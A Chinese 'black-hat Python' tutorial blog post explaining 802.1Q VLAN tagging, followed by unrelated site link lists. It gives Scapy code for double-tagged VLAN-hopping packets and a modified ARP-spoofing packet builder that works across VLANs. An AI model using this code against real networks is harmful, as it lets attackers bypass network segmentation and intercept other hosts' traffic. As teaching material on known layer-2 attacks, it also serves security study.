Python黑帽编程 3.4 跨越VLAN详解


Posted in Python onSeptember 28, 2016

VLAN(Virtual Local Area Network),是基于以太网交互技术构建的虚拟网络,既可以将同一物理网络划分成多个VALN,也可以跨越物理网络障碍,将不同子网中的用户划到同一个VLAN中。图2是一个VLAN划分的例子。

Python黑帽编程 3.4 跨越VLAN详解

图2

实现VLAN的方式有很多种,基于交换设备的VLAN划分,一般有两种:

l 基于交换机的端口划分

l 基于IEEE 802.1q协议,扩展以太网帧格式

基于第二层的VLAN技术,有个Trunking的概念,Trunking是用来在不同的交换机之间进行连接,以保证在跨越多个交换机上建立的同一个VLAN的成员能够相互通讯。其中交换机之间互联用的端口就称为Trunk端口。除了80.2.1q之外,思科有自己的Trunk协议叫ISL。

Python黑帽编程 3.4 跨越VLAN详解

图3

图3是802.1q的数据包,和普通的以太网帧并没有本质的区别,只是增加一个了VLAN Tag。红色部分的VLAN Identifier标识了一个数据包属于哪个VLAN,从而保证了数据广播的范围不会跨越VLAN。

现在做简单的思考,想要跨越VLAN通信,是不是只要修改数据包中的标识符就可以了呢?

3.4.1 VLAN Hopping

基于上面的分析,我们考虑一个简单的场景:跨VLANping,从Vlan1的一个主机发送一个ping请求到Vlan2中的一个主机。

在具体编码前,我们还是要先解决VLAN数据包构造的问题,在Scapy中我们使用Dot1Q类来构造图3中的Tag部分。如图4。

Python黑帽编程 3.4 跨越VLAN详解

图4

下面我们可以编写一个跨VLAN的ping请求了。

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)

上面的代码我们指定了目标主机的MAC和IP地址,添加了两个VLAN标识,第一个是发送数据的主机所在的VLAN,第二个是目标主机所在的VLAN。交换机会移除第一个标识,读到第二个标识的时候,会转发该数据包到目标主机。

3.4.2 跨VLAN的ARP欺骗

3.1、3.2和3.3节我们都在讨论ARP欺骗的问题,由于VLAN限制了广播域,我们之前的代码是无法跨VLAN进行ARP欺骗的。不过要解决这个问题也很简单,只需在我们之前构造的ARP欺骗数据中插入VLAN标识即可。下面这段代码是我们在3.1节构造ARP请求数据包的代码。

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt

在构造数据包的部分,我们插入VLAN标识:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)

这样就可以实现跨VLAN的ARP欺骗了。

3.4.3 小结

本节主要讲了如何构造欺骗VLAN的数据包,达到跨VLAN数据通信和ARP欺骗的目的。需要注意的是,本文的方法主要针对802.1Q协议,对以端口进行物理隔离的的VLAN没有效果。

以上所述是小编给大家介绍的Python黑帽编程 3.4 跨越VLAN详解,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

Python 相关文章推荐
Python的print用法示例
Feb 11 Python
将Python中的数据存储到系统本地的简单方法
Apr 11 Python
Django框架中render_to_response()函数的使用方法
Jul 16 Python
使用Django的模版来配合字符串翻译工作
Jul 27 Python
Python实现将数据库一键导出为Excel表格的实例
Dec 30 Python
python3爬取各类天气信息
Feb 24 Python
详谈python3 numpy-loadtxt的编码问题
Apr 29 Python
基于python2.7实现图形密码生成器的实例代码
Nov 05 Python
PyTorch 随机数生成占用 CPU 过高的解决方法
Jan 13 Python
PIL包中Image模块的convert()函数的具体使用
Feb 26 Python
tensorflow 2.0模式下训练的模型转成 tf1.x 版本的pb模型实例
Jun 22 Python
python给视频添加背景音乐并改变音量的具体方法
Jul 19 Python
python 采集中文乱码问题的完美解决方法
Sep 27 #Python
20招让你的Python飞起来!
Sep 27 #Python
python搭建虚拟环境的步骤详解
Sep 27 #Python
利用python发送和接收邮件
Sep 27 #Python
实现python版本的按任意键继续/退出
Sep 26 #Python
Linux 下 Python 实现按任意键退出的实现方法
Sep 25 #Python
利用Python为iOS10生成图标和截屏
Sep 24 #Python
You might like
基于laravel制作APP接口(API)
2016/03/15 PHP
tp5框架使用composer实现日志记录功能示例
2019/01/10 PHP
JavaScript之编码规范 推荐
2012/05/23 Javascript
JavaScript中的onerror事件概述及使用
2013/04/01 Javascript
JavaScript中一个奇葩的IE浏览器判断方法
2014/04/16 Javascript
推荐25个超炫的jQuery网格插件
2014/11/28 Javascript
jQuery搜索同辈元素方法
2015/02/10 Javascript
谈谈impress.js初步理解
2015/09/09 Javascript
JavaScript浏览器对象模型BOM(BrowserObjectModel)实例详解
2016/11/29 Javascript
作为老司机使用 React 总结的 11 个经验教训
2017/04/08 Javascript
js获取css的各种样式并且设置他们的方法
2017/08/22 Javascript
详解ES6 系列之异步处理实战
2018/10/26 Javascript
解决Vue-cli无法编译es6的问题
2020/10/30 Javascript
python简单实现获取当前时间
2016/08/27 Python
python装饰器实例大详解
2017/10/25 Python
python 获取字符串MD5值方法
2018/05/29 Python
python实现归并排序算法
2018/11/22 Python
python中图像通道分离与合并实例
2020/01/17 Python
如何在python开发工具PyCharm中搭建QtPy环境(教程详解)
2020/02/04 Python
Python GUI库PyQt5图形和特效样式QSS介绍
2020/02/25 Python
pandas 像SQL一样使用WHERE IN查询条件说明
2020/06/05 Python
Java如何基于wsimport调用wcf接口
2020/06/17 Python
python实现b站直播自动发送弹幕功能
2021/02/20 Python
分享29个基于Bootstrap的HTML5响应式网页设计模板
2015/11/19 HTML / CSS
欧迪办公美国官网:Office Depot
2016/08/22 全球购物
Solid & Striped官网:美国泳装品牌
2019/06/19 全球购物
单位领导证婚词
2014/01/14 职场文书
情侣吵架检讨书
2014/02/05 职场文书
2014年教师政治学习材料
2014/06/02 职场文书
企业安全生产月活动总结
2014/07/05 职场文书
观看信仰心得体会
2014/09/04 职场文书
2014年自愿离婚协议书范本
2014/09/25 职场文书
个人专业技术总结
2015/03/05 职场文书
青年干部培训班学习心得体会
2016/01/06 职场文书
导游词之广西漓江
2019/11/02 职场文书
Go gorilla securecookie库的安装使用详解
2022/08/14 Golang